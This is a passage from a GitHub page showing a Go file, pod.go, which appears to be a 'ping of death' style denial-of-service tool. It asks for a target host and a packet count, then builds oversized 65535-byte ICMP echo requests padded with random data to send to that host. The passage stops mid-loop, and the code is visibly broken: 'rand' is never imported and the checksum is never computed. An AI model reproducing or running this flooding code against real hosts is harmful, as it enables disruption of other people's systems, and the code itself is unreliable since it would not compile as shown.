-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpod.go
48 lines (40 loc) · 993 Bytes
/
pod.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package main
import (
"fmt"
"net"
"time"
)
const (
maxICMPSize = 65535 // Maximum size of an ICMP packet
)
func main() {
// Prompt the user for the target host and number of packets to send
var host string
var numPackets int
fmt.Print("Enter target host: ")
fmt.Scanln(&host)
fmt.Print("Enter number of packets to send: ")
fmt.Scanln(&numPackets)
// Set up the ICMP connection
conn, err := net.Dial("ip4:icmp", host)
if err != nil {
fmt.Println(err)
return
}
defer conn.Close()
// Send the specified number of ICMP packets
for i := 0; i < numPackets; i++ {
fmt.Printf("Sending packet %d...\n", i+1)
// Create an ICMP echo request packet
p := make([]byte, maxICMPSize)
p[0] = 8 // Echo request type
p[1] = 0 // Code
p[2] = 0 // Checksum (filled in later)
p[3] = 0
p[4] = 0 // Identifier
p[5] = 13
p[6] = 0 // Sequence number
p[7] = 37
// Fill the packet with random data
for i := 8; i < maxICMPSize; i++ {
p[i] = byte(rand.Intn(256))